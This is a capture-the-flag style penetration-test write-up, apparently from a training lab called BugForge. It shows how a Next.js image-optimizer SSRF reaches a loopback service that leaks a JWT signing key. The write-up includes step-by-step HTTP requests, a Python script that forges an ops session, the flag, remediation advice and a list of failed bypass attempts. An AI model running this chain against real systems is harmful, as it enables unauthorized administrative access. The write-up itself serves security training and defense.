BugForge — 2026.09.29

Vaultly: Next.js Image Optimizer SSRF to Ops Session Forgery

BugForge Next.js Image Optimizer SSRF medium

Executive Summary

Vaultly is a team document-vault application built on Next.js 14.2.35 (App Router) behind a Go reverse proxy. The platform-staff area (/admin) and its break-glass recovery key are gated by a separate Vaultly HQ ops session (vaultly_ops), distinct from the regular org-user session. Testing found that the Next.js image optimizer (/_next/image) is configured to fetch from an internal loopback host, turning it into an unauthenticated server-side request forgery (SSRF) that reads an internal service. That service serves the HQ ops signing key, which is enough to forge a vaultly_ops session and read the recovery key.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Next.js image optimizer SSRF to an internal service discloses the HQ ops signing key, enabling ops session forgery Critical 9.1 CWE-918, CWE-200 GET /_next/image → GET /admin/api/recovery

The primary finding is a fully unauthenticated chain that reuses no session at any step. Because the image optimizer’s allowlist includes an internal host, and because this deployment has SVG handling enabled in the optimizer, the internal SVG responses come back readably. The internal service discloses the HS256 key used to sign HQ ops sessions, so an attacker can mint a valid vaultly_ops cookie offline and retrieve the Vaultly HQ break-glass recovery key with no credentials.


Objective

Recover the Vaultly HQ break-glass recovery key, served at GET /admin/api/recovery behind a valid vaultly_ops HQ ops session.


Scope / Initial Access

# Target Application
URL: https://lab-1790692832144-l497x1.labs-app.bugforge.io

# Auth details
# Regular org users self-register and receive an opaque 192-bit vaultly_session cookie.
# The recovery route requires a SEPARATE vaultly_ops HQ ops session (an HS256 JWT), which
# has no discoverable mint or login flow from the org-user surface.
#
# The exploit chain below is fully UNAUTHENTICATED: no vaultly_session is used at any step.
# A registered account was used only during reconnaissance to view the dashboard markup.

The application distinguishes two session types. Org users hold an opaque vaultly_session cookie backed by a server-side session store. The HQ ops console at /admin requires a vaultly_ops cookie, and GET /admin/api/recovery returns 401 when it is absent and 403 when it is present but invalid, so the route validates the cookie value on every request rather than caching a static shell.


Reconnaissance: Reading the App’s Own Outbound Fetches

The entry point was disclosed by the application itself. After registering and loading the dashboard, the page markup contained an image tag whose source pointed the Next.js image optimizer at an internal loopback host. Reviewing the proxy history (not just the HTML forms and links, but the app’s own auto-loaded subresources) surfaced the allowlisted internal target that made the optimizer an SSRF.

Facts that shaped the test plan:

  1. Stack and patch level. The build is Next.js 14.2.35 App Router behind a Go reverse proxy (a request with Host: localhost returns the Go default 404). Version 14.2.35 is above 14.2.25, so the x-middleware-subrequest middleware bypass (CVE-2025-29927) that reaches /admin on older builds is patched here. A path that did not depend on the framework version was needed.
  2. The target route. GET /admin/api/recovery returns 401 application/json requiring a vaultly_ops HQ ops session. The /admin page itself renders a “Forbidden” server component without that cookie. No mint, upgrade, or HQ login flow for vaultly_ops was reachable from the org-user surface.
  3. The disclosed internal host. The dashboard renders a SOC2 badge with <img src="/_next/image?url=http://127.0.0.1:9000/badge/soc2.svg&w=256&q=75">. That the optimizer accepts a 127.0.0.1:9000 URL means the image configuration (images.remotePatterns) allowlists that internal host, so /_next/image is an unauthenticated fetch to a loopback-only service.

Application Architecture

Component Detail
Backend Next.js 14.2.35 (App Router) behind a Go reverse proxy
Frontend Server components; the client bundle is framework runtime only (no app routes or credentials in chunks)
Auth Org users: opaque 192-bit vaultly_session cookie. HQ ops: vaultly_ops HS256 JWT (separate authority)
Internal service Loopback-only branding service on 127.0.0.1:9000, allowlisted in images.remotePatterns

API Surface

Endpoint Method Auth Notes
/_next/image?url= GET None Image optimizer; allowlist includes http://127.0.0.1:9000 (SSRF sink)
/admin/api/recovery GET vaultly_ops Returns the break-glass recovery key (F1 target)
/admin GET vaultly_ops HQ ops console; renders “Forbidden” without the cookie
/api/auth/register POST None Org-user self-registration (recon only)
/api/files/import POST vaultly_session URL fetcher; blocklists loopback/RFC1918 (see Failed Approaches)

Attack Chain Visualization

┌─────────────────────────┐    ┌─────────────────────────┐    ┌─────────────────────────┐    ┌─────────────────────────┐
│ 1. /_next/image?url=    │    │ 2. same fetch to        │    │ 3. Forge vaultly_ops    │    │ 4. GET /admin/api/      │
│    http://127.0.0.1:9000│ ─▶ │    /badge/signing-      │ ─▶ │    JWT offline: HS256   │ ─▶ │    recovery with the    │
│    / returns an SVG     │    │    key.svg returns the  │    │    with the leaked key  │    │    forged cookie returns│
│    banner listing paths │    │    HS256 key + claims   │    │    + required claims    │    │    the recovery key     │
└─────────────────────────┘    └─────────────────────────┘    └─────────────────────────┘    └─────────────────────────┘
   unauthenticated              unauthenticated                 offline, no request            unauthenticated

Findings

F1: Next.js image optimizer SSRF to an internal service discloses the HQ ops signing key, enabling ops session forgery

Severity: Critical CVSS v3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-918 (Server-Side Request Forgery), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: GET /_next/image (chained to GET /admin/api/recovery) Authentication required: No

Scoring note: PR:N because the chain reuses no session at any step; it does not depend on registration or any prior credential. Forging a valid HQ ops session makes I:H a constant, so confidentiality is the axis that decides the band, and C:H is carried because the disclosed material yields both the signing key and the break-glass recovery key. S:U because the impact stays inside the single application’s authorization authority. Scored with S:C (the SSRF reaching a separate internal service on 127.0.0.1:9000), the vector lands at 10.0; it is Critical under either reading.

Description

Three defects compound into an unauthenticated full compromise of the HQ ops console:

  1. The image optimizer allowlists an internal host. images.remotePatterns permits http://127.0.0.1:9000, so GET /_next/image?url=http://127.0.0.1:9000/<path> makes the server fetch arbitrary paths on that loopback-only service with no authentication.
  2. The internal responses are readable. The internal service returns image/svg+xml, and this deployment has SVG handling enabled in the optimizer (images.dangerouslyAllowSVG). The optimizer responses carry Content-Security-Policy: script-src 'none'; sandbox; and Content-Disposition: inline, the headers Next.js attaches when that option is set, so the SVG body is returned as text and any text the internal service renders is readable. A default Next.js optimizer instead rejects SVG through /_next/image with a 400, so this readable readback depends on the setting; a non-image response such as JSON is rejected either way.
  3. The disclosed key is sufficient to forge an ops session. The internal service serves the HS256 key used to sign vaultly_ops sessions, along with the cookie name and required claims. GET /admin/api/recovery accepts any vaultly_ops JWT that verifies against that key and carries those claims, so the leaked key alone allows minting a valid HQ ops session offline.

Impact

Unauthenticated disclosure of the HQ ops session signing key, allowing forgery of a Vaultly HQ ops session. Full compromise of the platform-staff admin console and retrieval of the break-glass recovery key with no credentials.

Reproduction

The internal host 127.0.0.1:9000 was identified from the dashboard’s own <img src="/_next/image?url=http://127.0.0.1:9000/badge/soc2.svg..."> markup. The reproduction below starts from that known host and uses no session cookie.

Step 1: Read the internal service root through the optimizer

GET /_next/image?url=http%3A%2F%2F127.0.0.1%3A9000%2F&w=256&q=75 HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Accept: */*

Response: 200, Content-Type: image/svg+xml. The SVG renders a banner that self-documents the service’s endpoints:

Vaultly internal branding service
GET /badge/soc2.svg          (public)
GET /badge/signing-key.svg   (restricted · ops)
loopback only · 127.0.0.1:9000

The optimizer returned the internal body readably, and the banner names a restricted path, /badge/signing-key.svg.

Step 2: Read the restricted signing-key path through the optimizer

GET /_next/image?url=http%3A%2F%2F127.0.0.1%3A9000%2Fbadge%2Fsigning-key.svg&w=256&q=75 HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Accept: */*

Response: 200, Content-Type: image/svg+xml. The SVG renders the ops session secret:

cookie: vaultly_ops   alg: HS256   console: /admin
required claims: {"staff":true,"iss":"vaultly-hq-ops","aud":"vaultly-admin-console"}
HS256 key (utf-8 bytes of this hex string):
ba1eb7129c5f67146efa216adc00dd9964aa5463ed9575d005d886996fef5915

The “restricted · ops · loopback only” label describes the service’s intent; the loopback fetch through /_next/image originates from the trusted server, so that gate is satisfied.

Step 3: Forge the vaultly_ops JWT offline

The key note reads “utf-8 bytes of this hex string,” so the 64-character string is used as the literal secret, not its hex-decoded value. Forging with the hex-decoded bytes produces a different signature that the route rejects.

import jwt, time  # PyJWT

key = "ba1eb7129c5f67146efa216adc00dd9964aa5463ed9575d005d886996fef5915"
now = int(time.time())
token = jwt.encode(
    {
        "staff": True,
        "iss": "vaultly-hq-ops",
        "aud": "vaultly-admin-console",
        "iat": now,
        "exp": now + 3600,
    },
    key,
    algorithm="HS256",
)
print(token)

This produces a vaultly_ops cookie of the form eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<claims>.<signature>.

Step 4: Retrieve the recovery key with the forged cookie

GET /admin/api/recovery HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Cookie: vaultly_ops=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGFmZiI6dHJ1ZSwiaXNzIjoidmF1bHRseS1ocS1vcHMiLCJhdWQiOiJ2YXVsdGx5LWFkbWluLWNvbnNvbGUiLCJpYXQiOjE3OTA2OTQ5NzcsImV4cCI6MTc5MDY5ODU3N30.zTwGerWKsVa2XP8zB2aCZEkTRWgAEqtL70bQkY_iEEY

Response:

{"org":"Vaultly HQ","record":"break-glass","recovery_key":"bug{LKIxceC1lzV90SaTAD2NXYpR5rLwsWHL}","note":"Emergency access key — rotate immediately after use."}

The forged cookie is accepted and the route returns the break-glass recovery key.

Remediation

The exact configuration below is inferred (no source access); the shape of the fix holds regardless.

Fix 1: Never allowlist internal or loopback hosts in the image optimizer

// BEFORE (Vulnerable): next.config.js
images: {
  remotePatterns: [
    { protocol: 'http', hostname: '127.0.0.1', port: '9000' }, // internal service reachable via /_next/image
  ],
},

// AFTER (Secure)
images: {
  remotePatterns: [
    { protocol: 'https', hostname: 'cdn.vaultly.example' }, // public asset origins only
  ],
},

Serve the dashboard badge from a public asset origin, or inline it, rather than proxying an internal host through the optimizer.

Fix 2: Do not serve secrets from a loopback-trusted service

BEFORE: /badge/signing-key.svg returns the HQ ops signing key, gated only by "loopback only".
AFTER:  key material is never exposed over any HTTP-reachable service; loopback is reachable via SSRF,
        so loopback-origin trust is not an authorization boundary.

Move signing keys into a secrets manager or environment configuration read in-process, and bind the ops session to more than a shared signing key (for example, a server-side session record checked on each request), so a leaked key alone cannot mint a valid session.

Fix 3: Rotate the disclosed signing key. The key ba1eb7...f5915 and every session signed with it must be treated as compromised and rotated.

Additional recommendations:

  • Restrict images.remotePatterns to explicit public asset hostnames; never include a private, loopback, or link-local host. remotePatterns is a static host/port/path allowlist, so keep internal hosts out of it entirely rather than relying on runtime range checks.
  • Disable images.dangerouslyAllowSVG unless it is strictly required; with it off, the optimizer rejects SVG through the endpoint and this text readback would fail.
  • Give the internal branding service its own authentication rather than relying on network position.
  • Alert on /_next/image requests whose resolved target is a private or loopback address.

OWASP Top 10 Coverage

  • A10:2021 Server-Side Request Forgery (SSRF): the image optimizer fetches attacker-chosen paths on an allowlisted internal host and returns the responses readably.
  • A05:2021 Security Misconfiguration: images.remotePatterns allowlists an internal loopback host, exposing an internal-only service to the public optimizer.
  • A01:2021 Broken Access Control: /admin/api/recovery trusts a self-signed vaultly_ops JWT whose signing key is reachable, and the internal service exposes ops-restricted material to any loopback-origin request.

Tools Used

Tool Purpose
Caido Proxy history review; surfaced the app’s own /_next/image fetch of the internal host
curl Issuing the optimizer and recovery requests
Python (PyJWT) Forging the vaultly_ops HS256 JWT offline

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • OWASP Top 10 2021: A10 Server-Side Request Forgery
  • Next.js documentation: Image Optimization and images.remotePatterns
  • RFC 7519: JSON Web Token (JWT)

Failed Approaches

Approach Result Why It Failed
x-middleware-subrequest header bypass (CVE-2025-29927) on /admin 401 unchanged Patched in 14.2.35 (this build); the bypass only works below 14.2.25
/api/files/import URL fetcher pointed at loopback / RFC1918 / link-local “Host not allowed” Blocklist resolves DNS then range-checks the IP; IP encodings, protocol-relative, and file:// all rejected
/api/files/import via HTTP redirect from an allowed host to loopback “fetch failed” The fetcher does not follow redirects (any 3xx aborts), so redirect-based host bypass is closed
/_next/image with a relative or external url “isn’t a valid image” (relative) / “url not allowed” (external) Relative fetches are image-validated and blind; external hosts are not in the allowlist. Only the allowlisted internal host works
RSC flight-stream leak on GET /admin (with RSC: 1) Byte-identical “Forbidden” segment The server component branches before computing ops data, so no key or recovery data is serialized
Client bundle grep for hidden routes and credentials Framework runtime only App logic is server-side; no app routes, credentials, or vaultly_ops references in the chunks
SSO/OIDC issuer config as an SSRF or login-bypass path Config saves without fetching the issuer; no reachable login trigger The issuer is fetched at login time, and no SSO login flow was reachable
IDOR on /vaults/{id}, /api/files/{id} (download and preview) 404 / 403 Both are org-scoped; out-of-scope ids return not-found or forbidden
Mass-assignment at register, member invite role, and personal token scopes Elevated fields ignored or sanitized; token scopes allowlisted No self-escalation to HQ ops through any of these inputs
OAuth2 scope injection at /api/oauth/token Arbitrary scopes accepted but inert No endpoint consumes the elevated scopes; a 63k-path fuzz of /api/v1 found only org-scoped /me and /files

Tags: #ssrf #nextjs #next-image #jwt-forgery #webapp #bugforge Document Version: 1.1 Last Updated: 2026-09-29

#ssrf #nextjs #next-image #jwt-forgery #webapp #bugforge